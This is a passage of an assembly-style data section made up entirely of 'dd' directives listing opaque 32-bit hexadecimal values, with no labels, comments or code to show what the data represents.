dd 227DB317h, 0BBADE33h, 6887F2E2h, 138DB256h, 0FC9664F1h
dd 0FFCEEFB4h, 880F316Dh, 1A0458C6h, 46AE28Ah, 48CE021Eh
dd 0C68ADEBDh, 0BB5A170Ch, 256DB100h, 0BA71E967h, 685809EFh
dd 5C7404B1h, 9671D5F2h, 48E7F55Ah, 807D1A5h, 8C307CD0h
dd 5AF1091Ah, 5C05A033h, 5667702Fh, 9D182744h, 0E1B6D3E9h
dd 5A455625h, 0A859D802h, 8319B003h, 674BC9C2h, 0C4F6A59Eh
dd 0AB1BF35Ah, 6461BC3h, 0D7233914h, 53170C2Bh, 84041794h
dd 5167AFDh, 4FB4094Bh, 95ABEEF7h, 97A0647Dh, 94C910Bh
dd 64E7749Fh, 4E1CE835h, 0EF2AC5B5h, 7FE9C338h, 7214B7EAh
dd 80D8D1BFh, 6CCE2EA6h, 0E54AD15Dh, 493BAFFCh, 36D99C98h
dd 6D0F16F2h, 0DCEA0111h, 5D5B08A8h, 0A2B5E0ECh, 5F3F3F4Eh
dd 52044EF6h, 0AA3363E9h, 5EF75D70h, 55C52568h, 555A9656h
dd 4B5B45C0h, 0EF812C17h, 0CF293BD0h, 0EB84BE9h, 6AC65FAFh
dd 0D6B70CE6h, 3E9719BEh, 3416F4D3h, 0A01C65B7h, 0F9DE5DEFh
dd 50B5F392h, 7F407BA4h, 0E1F43C80h, 65934119h, 128740E2h
dd 0A3607C6Ah, 5005099Ah, 0D7010072h, 1CDBBB53h, 0CAA06D33h
dd 5EEE82Eh, 5B35FAB7h, 0EA24C424h, 0C4FE9F65h, 0B7B3C01Eh
dd 0A5B0E820h, 5C3BA127h, 175ECB83h, 0D7D29A29h, 7BE03DE0h
dd 6495B772h, 415D69F7h, 0AEBF8DD9h, 689D4238h, 96355456h
dd 0C98BC3F9h, 40553362h, 1FC8CA11h, 4C35711Ch, 0C28BB687h
dd 8002F90Ch, 3DC1266Eh, 0F28408EAh, 0AF2427A2h, 20BB3157h
dd 6028C593h, 725F472Fh, 0B0883A5h, 0E138350Ch, 0E9C1FADCh
dd 2D7FAFD7h, 3455F57Dh, 2D055A6Dh, 7D2A0274h, 0A35904FFh
dd 9BB5074Bh, 6C9FEC07h, 0C6B312C1h, 3B82C2C2h, 83BCD3B5h
dd 0B44C7AEEh, 7FD601C9h, 448C08B9h, 5F32FE8Bh, 41D10631h
dd 493503EEh, 58DEFB01h, 1BF7283Ah, 0D19798B2h, 5EE970ECh
dd 0BFB47A4Bh, 6E3C162Eh, 0E2780160h, 2F6A2C2Ah, 4EA2E4E4h
dd 0B36120C8h, 0D9003085h, 59CC285Bh, 1BFBEB80h, 4FE546E9h
dd 0D3570DC0h, 2B5A1F7Bh, 8059C709h, 5473B8F2h, 145EBC29h
dd 0E91208EEh, 0E48DB192h, 37012A6Ah, 0F9CD2D31h, 0BB2AE80Eh
dd 8BFD590Bh, 5BFFF076h, 0E0C6F95Ah, 0C1A90CE9h, 258ECF91h
dd 0E7FC20DDh, 0AD543A3Ah, 8799514Ah, 0ABE36CE8h, 558EA9D5h
dd 14655DC2h, 69FE5C93h, 6D216AACh, 5002431h, 2C2FDC89h
dd 0BDF3585Dh, 0C1FEE6DAh, 827DFD28h, 15E65ABDh, 969D6BE9h
dd 0EC67B803h, 9ED94E93h, 0FDE83EADh, 0DCE54B9Eh, 2F1B67D5h
dd 6E0A90F5h, 0F529C179h, 2A9FA652h, 0E9A370FFh, 7FE13C4Dh
dd 680960B6h, 9513F9Eh, 1C8E985h, 0ABE58FB8h, 0F7526AC5h
dd 0AA1212EFh, 0E9839FB2h, 9102B3DDh, 0A05BE5C2h, 6DF8D75Eh
dd 0AA640882h, 59C2E8CBh, 26CCA0ABh, 0C0EE2BF1h, 4B78569Fh
dd 0E052C09Dh, 0EC6AE16Eh, 7A4AB094h, 5B96B877h, 7B30FFBAh
dd 9C953B0h, 852FE93Bh, 97BD84FBh, 46E40D2Ch, 0D2A49DEFh
dd 7009EFE3h, 21EC7DD0h, 81BA52F6h, 75DA4095h, 27843738h
dd 2B05E1E6h, 9AB13E19h, 953B1B30h, 0C6575509h, 0F3EDBFC5h
dd 0E955102Fh, 0B87B479h, 48553058h, 80A7BF68h, 5A12EDBDh
dd 191662C4h, 953E13E6h, 4B1BF3DFh, 7961F6ADh, 7F78FCE9h
dd 0CAEFF852h, 46512F67h, 81544EB3h, 0C22618E7h, 678D4EFDh
dd 62414D2Bh, 0A092C750h, 65DC4F60h, 856C2B28h, 719ABF2Fh
dd 895D9E64h, 1DD16F89h, 2CD1F0C4h, 0CC9F987h, 6806606Bh
dd 9358ADh, 6A0B061Dh, 0C57A8570h, 284AA6A2h, 5F7D298Fh
dd 7221D695h, 8A2A0AD2h, 8303B3CCh, 312CA935h, 4FB425EFh
dd 3EE8E8Ah, 5E40395Fh, 642D0C00h, 32E94978h, 0FA22B7BBh
dd 47AFB6A5h, 8A8F81C4h, 41A24BEEh, 0C473E9C2h, 2397D4D9h
dd 9D5E5DE8h, 0FA872412h, 92C5A9Fh, 114F7601h, 32C2670Bh
dd 125567D7h, 25DF715Ch, 420B8AC6h, 0CFC85277h, 12706C02h
dd 0E19BC160h, 14F52381h, 2ABEB5FEh, 27746AE2h, 4E1CF77Fh
dd 72957E95h, 7D9ECCEBh, 53F689F7h, 2FC75754h, 802F9EA4h
dd 2014B72Eh, 5B6607F9h, 300CC180h, 0B05068F1h, 57E94B16h
dd 0E0AE24C4h, 0B492CF9h, 0A5F33F1Fh, 0BBEBC098h, 0FD5EE0B5h
dd 81D721E8h, 0DE06B5Dh, 20BFEEFBh, 0E6902906h, 35AEC94Fh
dd 8F50FA54h, 80D19793h, 9C7FFF59h, 554C5876h, 59A927E0h
dd 5E6807EDh, 0ED5D092Ah, 8E6806E5h, 0A755FD18h, 8D912B95h
dd 1EED8AB9h, 0BA09163Ch, 0BF0B0CD3h, 0AA29EBD7h, 45665574h
dd 0BD81182h, 1D626309h, 0C0095027h, 4D8D0825h, 3DDE48EAh
dd 0C44293Eh, 49E95E02h, 0E216F995h, 0BD00CD4Bh, 14A83E71h
dd 0E3DDF720h, 0D8138D48h, 5425AC44h, 1B985A4Dh, 8F37B205h
dd 0CF040905h, 0EAFCE38Ah, 0CD685080h, 807BB0Fh, 0F6A30558h
dd 0C1F74067h, 0A4067689h, 0AC7E1256h, 91D7A1B5h, 6F19205h
dd 660AC3D6h, 0F606A246h, 710A500Dh, 0BD334BC3h, 67184C84h
dd 7DEB5E10h, 8E3E0147h, 83559E2Dh, 2407705h, 0E9429447h
dd 0CD518029h, 5E0996BCh, 5962BF71h, 4F57EF04h, 0AC0413FFh
dd 0F1EE016h, 1281607h, 682DEBFEh, 2C6C4761h, 16E3A64Ah
dd 7640497Ah, 8FC4BB53h, 0A9E34A32h, 0F28410C8h, 4D23BE02h
dd 0FBE17366h, 7432AD22h, 2350176h, 30FAA6B0h, 680D1C79h
dd 0B5016F55h, 0D8EE0804h, 360BEA95h, 0A5381E47h, 81AC206h
dd 792182BBh, 2D94F5C1h, 5408BA9Bh, 106814A8h, 15705927h
dd 0D812829h, 100317BDh, 0B54505EDh, 9C0ED9E8h, 1794A9Eh
dd 57D518BCh, 4AE90101h, 5CE10B7Ah, 0D25AB174h, 82734FEFh
dd 867E5D45h, 94365858h, 2D20EA2Dh, 5EAC4654h, 1C556A70h
dd 0D6E9052Eh, 5C788865h, 0F734D5E8h, 0B68008D2h, 3AC6A5Ah
dd 5D535535h, 0DDE84B5Bh, 0A602B951h, 21151374h, 203344CDh
dd 9F946D4Ah, 0A7964B4Fh, 0A860811Fh, 77032C51h, 97C10549h
dd 0B8CA881Ah, 0D23B52A5h, 3A42E62Dh, 0FF29FFC6h, 0F416BEF6h
dd 77B494F0h, 84F2279Bh, 12071324h, 8B665C0Ah, 59D8C681h
dd 64214604h, 0E6560A20h, 4F4A069Dh, 285DBEE9h, 83D0514h
dd 0AFB84BC6h, 1DDF5205h, 0CC9BC00Ch, 3E3BB769h, 0EF507801h
dd 0E2965808h, 0D0FA7F94h, 441A1FC4h, 94E85E17h, 4A115610h
dd 0DBB8B7E8h, 94A37D58h, 4DCB03EFh, 45D576Ch, 8E16640Eh
dd 0AB24953Ah, 0BB9252A6h, 68DDCD03h, 7C14BC4Dh, 0E811E234h
dd 500B1BBEh, 59A2B7B2h, 0EEB341B8h, 81B95FBh, 0CB295B0Ch
dd 64680B63h, 48F354h, 2C0366A3h, 0B154B7E9h, 537087CCh
dd 0B9947597h, 6796EF01h
dd 0CF010372h, 8138844h, 0C83F3089h, 260FBA8Fh, 46643670h
dd 2C147508h, 119EEC1h, 0DF688FF6h, 7B1CB52Fh, 0B54431EAh
dd 7AED6F7Dh, 0F24BC058h, 99AA93AEh, 4BFC3BDCh, 2238020Eh
dd 4F6E0853h, 9DB7625h, 52251B5Dh, 0CD37EF58h, 0CB9FB5D2h
dd 704EB1EDh, 6DBF84C3h, 820623DCh, 44A53CE9h, 74D538A4h
dd 88987EBDh, 59CD5115h, 509B079Dh, 88D5EAC5h, 0D1C001BBh
dd 0CC8145EDh, 0FA2D2FEEh, 9620D052h, 0FFA30B81h, 0E762745Ch
dd 0F680012Ch, 6BF5C1A6h, 65E1AAB2h, 2C67D8Ah, 49B26FBAh
dd 0BDC7864Eh, 0F189090Fh, 4BC210E9h, 7D75095Fh, 98C3496h
dd 53B56816h, 0A626036h, 4D922F0Fh, 6115029Dh, 51405717h
dd 0F6502634h, 34C7ED0h, 62F1819Ch, 0FC7AC910h, 0E42A7F05h
dd 0E6309188h, 799C3A05h, 0A1DE5BEBh, 0FAC2FEFh, 2DF031F1h
dd 2B6850Eh, 19034F56h, 880B4B11h, 1218BD58h, 0BA025223h
dd 0B8CD6A40h, 0B57FF55Ah, 0AA8C0D8Fh, 0F5EFEE63h, 0C9AE50A8h
dd 20285F8Fh, 630BB414h, 5583EA1Eh, 804E0404h, 0C6105E9h
dd 71545B63h, 566AF23Ch, 724D1C64h, 0E360060Ah, 46091943h
dd 40C8E96Dh, 0C1EB2923h, 0F206F42h, 6A51F521h, 0FEF37C40h
dd 0F81FDF95h, 615C96D8h, 4A46C7E9h, 0D5B45BFDh, 0EB21A098h
dd 3B530257h, 146D6806h, 0BD60815Eh, 485B52F4h, 0B104483Dh
dd 0FAC4304Fh, 5A31F345h, 687670EAh, 0A8B96D82h, 0F0F34713h
dd 2191C85Eh, 5F0589BFh, 2A96D214h, 6E0B79ADh, 0F545C2C9h
dd 4F965194h, 0AD7BBAE1h, 5B3F94EBh, 4029B388h, 0DEECC3B9h
dd 81C4704Ch, 6B8E4ECEh, 4A683770h, 0A20E77C1h, 42DE7714h
dd 0C191B062h, 783C0761h, 520929E6h, 7CA790E9h, 0FE4C7910h
dd 0BD16147Fh, 0AF6617E8h, 73927FC5h, 4D4B345Fh, 9E97D96Fh
dd 2A2C8956h, 61ACBA76h, 8ACB923Ch, 83D32049h, 28FA497Bh
dd 32995910h, 0F17D157Bh, 7D6CEAFFh, 0F78BD4D1h, 0ADB37CD1h
dd 1E1927F6h, 29D4D30Ch, 3609BF79h, 9D909657h, 0CCA76A2h
dd 7CBB5302h, 0AC67436Fh, 2CAC0A4Bh, 2F842778h, 8960D4F4h
dd 9670B86Dh, 0DCDEA745h, 0D2B508A0h, 15EC9DC0h, 513C5C95h
dd 28269B5h, 592AF8EEh, 50BBD84Bh, 55E908C6h, 803FB425h
dd 4ED267F5h, 28D06880h, 0EC9EBCB9h, 9F13952Bh, 3BDC1FC1h
dd 502A2A7h, 7EB95BBEh, 442D30E1h, 226CD607h, 93CFFE3Bh
dd 0A2F453D3h, 5CA04038h, 0D56BA8BEh, 0E8D45CB1h, 0BD01306Dh
dd 0A488502Bh, 0FF84D529h, 0BEF3FEE9h, 0FE85FA49h, 1CD72D1Bh
dd 3BE92C31h, 8B7EAF70h, 3283A113h, 2BC80752h, 0C2204432h
dd 407EC769h, 3B4EF682h, 6605440Fh, 0CC0111FBh, 2AB6B234h
dd 7508F0AAh, 37B5321Fh, 0DB686D4Dh, 13CDCB2Bh, 87EC2BEFh
dd 0AC7E12D6h, 1AE9673h, 0E15EA9FDh, 0FE2C0034h, 2812B837h
dd 501D542Ah, 0BF19A702h, 0B0F244C6h, 974F049h, 0F97A3668h
dd 0BA189B2h, 0C7648BF6h, 0CBF724A1h, 0ACAE8416h, 98EFE4A2h
dd 0B44A68DCh, 53CBEEFCh, 0E9F8ACF4h, 91224AC1h, 1155BA8h
dd 0FCBF5241h, 58AC90DBh, 40495006h, 77BF0951h, 13B1D0C8h
dd 367A1A68h, 0E917732Eh, 0CBAB8B8Eh, 0E4AC4B96h, 973DA686h
dd 9BD8CB5Ah, 32C32780h, 0EB759558h, 0D9AE06C9h, 526641F4h
dd 0C7003B53h, 0E9CB8815h, 9FC8BF64h, 3C14F9E7h, 281548Bh
dd 0E6462C1Ch, 0CDC5521h, 0A0DBF18Eh, 8905CBBEh, 49C81C53h
dd 72DD401h, 0B110F44Ch, 73BD5FFEh, 507977C1h, 35E73054h
dd 724FC0FCh, 49B83640h, 4B29450Bh, 0D0B2AC74h, 0EAF24E0Ch
dd 543440D2h, 5D4E9622h, 65A7BC9Eh, 16418AD0h, 657569E8h
dd 0C076279Dh, 2E9DFF69h, 43A17125h, 357B7343h, 0BFD28917h
dd 41528BE0h, 0F90F3E6Ah, 0C899C2EEh, 59787D21h, 0F66BE409h
dd 20407E36h, 8474BF07h, 42D9E947h, 2F025F80h, 0AD04BD50h
dd 548B44FEh, 515306AAh, 33845E2Eh, 0C9D91993h, 0EC002B6Ch
dd 79D4058Fh, 3A6E59E9h, 2878B300h, 0F65B66DDh, 0C5FED503h
dd 7D07E5C0h, 3B6F414Eh, 0F1AE8694h, 283E6131h, 506F8B8Ch
dd 20519514h, 289DE9E1h, 5804A562h, 0AB76DEA0h, 0E913B3B9h
dd 51C5F1h, 0C9B25253h, 284ED1B1h, 74D474F2h, 6448983Fh
dd 38E7E618h, 5EB98868h, 3FC1A017h, 0E3DCF289h, 0CA9DC18Ch
dd 600F337Eh, 744A545Ch, 73E55A40h, 97156E20h, 0E9912257h
dd 7F2F6A48h, 8C765E4Ah, 20B8DABDh, 76E01D2Dh, 68775258h
dd 41CC494Fh, 0CD593146h, 4DC6ADAh, 0EFF992EBh, 0D19A9C0h
dd 816E4900h, 0E05A7BE3h, 9C0CC04Ah, 0E91BA114h, 49D18049h
dd 0EC00D666h, 33F845B2h, 0C57A4DE9h, 15535825h, 163D6807h
dd 55E5D509h, 28B0C020h, 0CC3F42BDh, 0A9894EB2h, 0E921842Ah
dd 0B1C935BEh, 3AFB2EA1h, 5EE848EDh, 9FBB7D5h, 7355D098h
dd 9DD6C939h, 5639574Bh, 2CAE2B5Bh, 52600A7Ah, 0BE43ED49h
dd 0F4AB4BF4h, 0EC4133E0h, 60996641h, 0AE4B29BFh, 0A4D24F1Eh
dd 63312682h, 0ABA94ED5h, 0FAE9D863h, 0C5B5AE36h, 74BEAF9Ch
dd 0F513F447h, 179D9BBAh, 8B42D9Fh, 0D2AE5E9Dh, 52B58244h
dd 11016120h, 0A8A1CFE9h, 7F7891CCh, 5E82B727h, 2FE86887h
dd 0E2F7C1C2h, 884DFF7Ch, 0CAE3A424h, 55584C9Eh, 12DDA85Eh
dd 0AB406C66h, 0C25A12F3h, 0D8012D9Fh, 2EE13DD0h, 14138BFh
dd 2CFD6B7Dh, 60A9A4F8h, 7741E818h, 5781E5CBh, 521AC42h
dd 0C6E4F45Ah, 0A52BFD41h, 3A8EF1C4h, 9B418FCh, 9C622619h
dd 2AD38461h, 226F8DB1h, 84D15A40h, 0CB5D3443h, 0B0F2DB5Eh
dd 5AC52030h, 72BF8258h, 4A11F512h, 5EFB2CABh, 67CB34C8h
dd 0E081B9BCh, 3CAF5B67h, 8782ACB2h, 0DCD98111h, 449D4A44h
dd 0CEFCA0E1h, 0EA06160Bh, 0FB20176Ch, 0DA93435Ch, 0DE1474D2h
dd 0AC4527ECh, 8EAA5E96h, 20769E2h, 5ED4E95Dh, 39F98BF8h
dd 408CE0F9h, 703B1BF5h, 0CBFC951Ch, 90BFE5CAh, 0B6486B5Ah
dd 0FC66B9C9h, 0ECF2FA95h, 48E403EAh, 0CA292F2Eh, 5081C41h
dd 5A09BCF1h, 41398BE0h, 4ECC39B2h, 0FF9687FCh, 0C020B729h
dd 506D77D4h, 17CAB43Dh, 0A1F07BD1h, 0EEF2E036h, 3FF8BF09h
dd 9DE60229h, 5071FE6Eh, 7F827BCBh, 0D60613C6h, 425EF287h
dd 0F8911E46h, 0D530BED3h, 6D47ED68h, 0D46CE527h, 828F094Bh
dd 58FD3975h, 0C442B22Eh, 0FA162087h, 9AB2C17h, 0EE804B8Eh
dd 76CCF734h, 45B7317Dh, 0E689972Dh, 0CE5E783Fh, 1FFF0B44h
dd 680C90A2h, 52DD4C2Ah, 5D5C41CBh, 0C328CB48h, 0F89FB5ECh
dd 14C56085h, 0D075DBB8h, 5D263F7Ah, 0DF4B973Ah, 7B0CADADh
dd 1750B9F4h, 0E75637E9h, 5BD8138Fh, 84A15DBCh, 18203BB7h
dd 2CB0B5F2h, 1290EC73h, 4FA3A297h, 5FC96CB9h, 0BFA9DD84h
dd 82684860h, 0B08A885Bh, 9699CEBDh, 68CA8CB6h, 0D8792C1Ch
dd 8F64833h, 0A959EA61h, 7DDEA2D6h, 0E2E04080h, 43659771h
dd 0BD7FF15h, 87DBF759h, 67F71383h, 92FB8733h, 0F3E043CFh
dd 11086FD3h, 20910197h, 4AF64BE5h, 0F1007EDBh, 3ACF525Eh
dd 0B506E1C1h, 0FB47D4C2h, 0DC183E02h, 0DB90DD0Dh, 0B9A55358h
dd 0C2B3FC25h, 9254793Ch, 964E8B50h, 0CFAE63DCh, 0C5BD2600h
dd 81325020h, 641C01F5h, 0A1E97B5Fh, 10B92A7Fh, 0A881C44Bh
dd 0B140938Bh, 6C5BF681h, 0E4644AC0h, 4404AEB9h, 0F329DF97h
dd 2102C7CBh, 0BB65E9DAh, 3500C245h, 0EDB07E94h, 0F5C25489h
dd 0B9E91356h, 4FD5A496h, 41C41B0Bh, 43FF8289h, 42F879DEh
dd 0A19A5D40h, 5850055Ch
dd 0ACF84B68h, 0B850C031h, 4B9B0C94h, 3E6EA91Fh, 133FC11Bh
dd 878CAAE1h, 0E0EF4179h, 0EC95386Ah, 2F1E3154h, 0CAD188AFh
dd 0F25A5161h, 0E696262h, 8AF3C9DEh, 9A874B08h, 1360F607h
dd 0A2404AF5h, 0B15385E6h, 1CE9123Bh, 4329BF8Ch, 80C1BD25h
dd 0AFEC2013h, 0BC29EC8h, 670BAED5h, 41383A75h, 146BF0F9h
dd 0B902AE3Fh, 4FC1167Ah, 0AF7648C1h, 16C8F00Dh, 0BC52B068h
dd 405EB2B6h, 939F541h, 0DF290579h, 0A4C76F38h, 28F62612h
dd 0B2AB508h, 7905028Fh, 53D92867h, 0F2ABC9F8h, 0EE80FE80h
dd 6CE6AD4Fh, 64F05270h, 54E6E90Bh, 0F173FC5Eh, 0DE5779F9h
dd 74B87765h, 2FFD4538h, 3DF4E497h, 258739C3h, 485CC593h
dd 0DF76F142h, 5527B3D3h, 4D75D823h, 69C37FE2h, 7B0E27F8h
dd 14A2290h, 1BD1B334h, 4C52657h, 0F37509FAh, 967D25BDh
dd 3B7BA116h, 18C3A42Eh, 33635913h, 4900C1F3h, 5FBBE181h
dd 6C9540BAh, 8D3C55C3h, 3F93D281h, 0F329B606h, 5D4085EDh
dd 49E15E4Eh, 0AB7EB4D3h, 8653E565h, 0F96298BAh, 985BB040h
dd 68953DD0h, 3CF431A8h, 33BB67C3h, 0D05CF702h, 87776513h
dd 2B756808h, 1F348BAAh, 71AFD7E9h, 0A7E817Dh, 6F3128AFh
dd 0C54F5CB6h, 5CEFB96h, 1356B840h, 963D603h, 0FF24698Eh
dd 3AC5B62Ch, 7A7762FEh, 927F0E66h, 0C15967DDh, 0F65F6805h
dd 2DBBE5C3h, 39FD0F4Fh, 233CEF4Ah, 81614AE9h, 0DD5E5D6Fh
dd 7BAF657Eh, 0B589C9E0h, 0F627CC53h, 0A34A1492h, 6909A102h
dd 0B1FC2148h, 0AF7848Bh, 0E961DA86h, 47D595Eh, 486FED5Eh
dd 4CE04C3h, 0D9C00D4Bh, 50C83AB0h, 1F56F852h, 30F9628h
dd 0B85FB4E5h, 0DFF53C05h, 0DA00A724h, 0B56973E9h, 5662BF41h
dd 160BC07Bh, 271D16E1h, 165D7A99h, 0F53954Ah, 5D65120Bh
dd 582610C5h, 228DE9C1h, 0EBE3D581h, 70576150h, 7995999Fh
dd 10856A60h, 20B60773h, 0EE96F728h, 9C5964B9h, 8171BA7Bh
dd 810471E1h, 6E47FCF5h, 8100648Bh, 6D2F91EFh, 0F748014Ah
dd 5E084067h, 0E88C874Fh, 3B3F2EE9h, 0A3CBBD9h, 0FB3E8112h
dd 8F13A661h, 0B40BEC06h, 805E0311h, 443AC802h, 9F09073h
dd 94AA2C2Bh, 67F667C8h, 92E97212h, 2D731537h, 0B95C04A6h
dd 0AA193605h, 63731B08h, 1B4E01BEh, 221954E3h, 60E5A513h
dd 74E37D61h, 51135DEBh, 1D943B23h, 299BA0BEh, 54E911C2h
dd 0F0C3E669h, 85CFD658h, 0DF389C55h, 0B7E970h, 408ABAE3h
dd 0ED7EE51Ah, 8F95E47h, 0C50C5CE3h, 243060E9h, 208EA043h
dd 2A873E05h, 0C9502619h, 34013AEAh, 28C90718h, 2499320h
dd 5236BC4Dh, 29FD5A5Dh, 6251D17Ch, 0C5F60E42h, 0A48CBC82h
dd 2F60D56Bh, 0D9178E05h, 0B5BC2D72h, 12544F2Ch, 0C9DBE94Dh
dd 0BF45D788h, 1446E38h, 0A86866D8h, 98B5F06Ah, 2020E695h
dd 4D4829B1h, 40FE07CBh, 0A3C2ED75h, 4AA07CCCh, 0BFCA131Bh
dd 1268E638h, 5320774h, 0F3168810h, 82267ED2h, 116A733Eh
dd 4629FF0Bh, 4F50BFCh, 6848667Dh, 0BB970130h, 8528D980h
dd 1FC53793h, 9C5DADF4h, 9568131Fh, 2BD2C906h, 58C546F8h
dd 0BB484926h, 44B49802h, 32DAED80h, 687554CDh, 5525A52h
dd 274A77F7h, 35909200h, 1301739Ah, 49B5E9EBh, 715D50E8h
dd 0FDE950CBh, 625BA7F7h, 0FADB7037h, 6E5B810Fh, 0ECFD4A8h
dd 5685616h, 0BB7F7088h, 35B25077h, 0FF2B5F9Bh, 0A08AF9D8h
dd 2D49BF40h, 0AC563431h, 0E12F295Dh, 0E90B0091h, 7BE1664Fh
dd 6E4F9ADh, 0A791EE35h, 96245E9Dh, 93BC0455h, 7D8749D8h
dd 7BFE90CCh, 5443E2B7h, 0D17F5AC5h, 59CC7FAh, 0ED5DC1D6h
dd 0FC0DA09Ah, 1BADD40h, 565C3E1Fh, 6B42D2F7h, 0DAA41CC4h
dd 4D6F1865h, 0CCA40C60h, 0E2B25B2Fh, 0DCA3043Ch, 871308FCh
dd 28D9BFDDh, 293BE42Bh, 0C1BBB688h, 3032B22Ch, 0DA3D6AFAh
dd 0F483B43Eh, 872F3749h, 6D511443h, 0A7ACBE9h, 1CCC52A3h
dd 453C00AFh, 1D2D4FBAh, 1EFEA548h, 3E9833C9h, 2D79A30Ch
dd 0EBA82B49h, 130C3408h, 1E76F414h, 0ADE2905Eh, 51156809h
dd 0D5524CFEh, 0E9185A1Eh, 860B4BFBh, 9D0BBA61h, 3BF2090Bh
dd 0CE2F5A7Eh, 53B057A0h, 70B65FFEh, 0A7685780h, 0BF4CE708h
dd 9496FD1h, 0B355ABBh, 29E2A7Ch, 344BE6D7h, 0AB57389Bh
dd 0A66B92A8h, 0B5D83EF5h, 2666E274h, 3C2B1C1h, 42853418h
dd 22BB98E9h, 0C45024A5h, 0E94C6B10h, 9B459F18h, 3C2C26A8h
dd 150ECE35h, 9AFA1263h, 61274877h, 9FE3E9B5h, 0F0310A8Bh
dd 5AA8297Fh, 0E4F95BC1h, 2305EBBAh, 317C6195h, 27E9EDC8h
dd 0D952741Ah, 4DF44EF0h, 88A6815h, 0A8904136h, 4D35F247h
dd 0AEE20C92h, 29B0D817h, 21EB2F88h, 0AF5E14A2h, 61C84706h
dd 66630F68h, 25DD04E7h, 71EC1E8Eh, 7464F01Ah, 517CA1CCh
dd 1E9E7520h, 5E4F13BFh, 0A36C8B46h, 0FCF5BADFh, 17BD4806h
dd 228E18h, 6414D8C3h, 70F7E975h, 22F6BD09h, 0FF425C51h
dd 8B1DC58Ch, 5D14F0CCh, 6A4CE6F6h, 0C821C44Ah, 0C16760AFh
dd 317C0CE8h, 0E6C2E913h, 0FDCCCCBEh, 52BAC5Dh, 1577464Eh
dd 0FC17D894h, 2F3C7EF6h, 0D39F8C5Eh, 0D10CFADFh, 2F68545Fh
dd 2FBB1463h, 6833FDD9h, 4464C592h, 0FC1B2E6h, 929F07Eh
dd 0C486CF1h, 9F5CBD8Bh, 0BC4CE958h, 68661264h, 0B34E90Eh
dd 17BE25AAh, 0C70FA448h, 75708E09h, 9A07047Eh, 3929EA13h
dd 0C1E777F8h, 4E5EC533h, 0C8C03F97h, 8533BCh, 93B9513Ch
dd 0E902266Dh, 3F2BB20h, 14F4BA52h, 57D915AEh, 2FFC3E97h
dd 585BBEB0h, 124A4948h, 0DB65B136h, 0C771621Ch, 8E290D53h
dd 4941051Eh, 2CC4BD54h, 0CE57B902h, 5D3114FDh, 75245BFBh
dd 97F44E27h, 96854187h, 530246D9h, 74679668h, 2FEE446Bh
dd 9CD78336h, 0DBAD2733h, 984AF21Ah, 4E7309F6h, 4817EA4Fh
dd 91D6DA8Ah, 1DE772Eh, 23AF3868h, 13DDA803h, 0FA0162E0h
dd 0C5B85000h, 57DD512h, 5C2AF418h, 6C2FC6E5h, 334D1E46h
dd 0A3BC4BE2h, 5780AD59h, 80126EBFh, 30BC294Bh, 59CB2109h
dd 7C847A81h, 0C04F3F8h, 2C587491h, 0FDA33080h, 0C1523E1Bh
dd 0E8E90604h, 0CBACF871h, 1614EE56h, 9D6418E9h, 8D347BC8h
dd 0D15E18E8h, 10B0BDD1h, 0A7C45F2h, 0D60954B7h, 0E3F60781h
dd 0E81BF67Fh, 5D287564h, 94E3EFh, 9F6FF6BDh, 0ACD8146h
dd 6CB15D51h, 74F502BDh, 0C2555837h, 2ECF4193h, 0ED06BB72h
dd 0C4A7635h, 29D1A09Fh, 0CB6FE9EBh, 327489B5h, 0F4BB5358h
dd 16FE043Eh, 0F93AB0E9h, 29ECD343h, 2D352F09h, 82835857h
dd 52C56C08h, 7C88BFh, 3513724Eh, 0B71BEB05h, 0EFA8124Bh
dd 81F20741h, 0AE80E911h, 79BDF33Fh, 0A0BEDA25h, 8D32396h
dd 0EE294AA8h, 61CE2CD7h, 72D90320h, 942AA33Fh, 702D7836h
dd 8644007Dh, 9D302356h, 8826672h, 82A94CD7h, 8542F519h
dd 0C35E4352h, 0F8210D07h, 2C01F2B9h, 6B782DF3h, 2C27734Ch
dd 6B20D7EEh, 88DF181h, 0C38A130h, 61A4CA09h, 85E98C01h
dd 1CC7398Fh, 0DD2778D8h, 229748B6h, 5E39EA1Ah, 4509613Eh
dd 7F2D704Dh, 760DEB4Dh, 7C88295Bh, 730B1676h, 5A0ACA27h
dd 12C13C98h, 9C0C8758h, 0B3409BA9h, 2B3CEB68h, 14F1377Ah
dd 4026B243h, 8700E055h, 0C1BABDA2h, 976ECCD7h, 0C1CEBA5Dh
dd 89255990h, 3C31282Bh, 65EE674Fh, 0DB10EE45h, 3AA59255h
dd 4989A33Ah, 0D41E1062h, 2B406625h, 0B8EC5051h, 367DE736h
dd 0E11CC7F4h, 0D9F7C302h
dd 0BAD607FDh, 0C631C40Fh, 0C318122Bh, 0EB0A6D17h, 3A5B7EB8h
dd 0E915D809h, 474AE4B3h, 37E4C05Dh, 334D6780h, 0EF857AEBh
dd 0FE65DB1Dh, 9AF72776h, 81A2D4D3h, 0C034BEB9h, 60107133h
dd 2590E80Dh, 0E907E005h, 89E882E7h, 0CB4273C1h, 488B3676h
dd 0CE597585h, 845F8926h, 90A3904h, 5BC90B3Ah, 623CC677h
dd 0C62913C0h, 479FBF40h, 2212432Dh, 39B4C81h, 8CB14DBDh
dd 20453159h, 6B135286h, 0A7E43190h, 2A302C9Ah, 98F101B9h
dd 617E431Bh, 0C9DF4082h, 1A6D0B49h, 0A6385C72h, 8BF6882h
dd 9692F471h, 5D616AFh, 0B9574502h, 0BD661C76h, 5E2F725Dh
dd 0AC480AFCh, 6DF21FE5h, 0B8701622h, 0C4CF2079h, 80A5718Fh
dd 58B774D8h, 8427CE13h, 6EA7D48h, 0D53B4CBh, 8172857h
dd 605F5DE2h, 14894F1h, 16B98C66h, 2FAEFBFCh, 0DF057CF1h
dd 8B53A2EBh, 0E6A377DDh, 820085ADh, 8D1FBC25h, 24E0D132h
dd 734840h, 7D8C5A4Fh, 114E89E9h, 0BC5B578Eh, 0B2E98419h
dd 4BCF2094h, 0B1B1A44Eh, 25E9283Ch, 4B12D962h, 20C1E477h
dd 0B7EA5ABCh, 16BC6EEBh, 0D7D01CCBh, 0E9613DB6h, 1058571h
dd 3F736F06h, 54833F45h, 95A87329h, 7504DCD8h, 5A46071Fh
dd 0A69698FBh, 0BBF2F40h, 141242ACh, 0DA8D686h, 0E961FB94h
dd 94A5BA74h, 7C23C47Dh, 0B5147456h, 68E185FCh, 0F4384986h
dd 3634CDC0h, 0D162BB25h, 0FCDDE90Bh, 0EBBA00E7h, 0B8277B2Bh
dd 0FBAB6F0Bh, 883D687h, 0FCA5C601h, 0FA5F45CEh, 0BF4A7DCBh
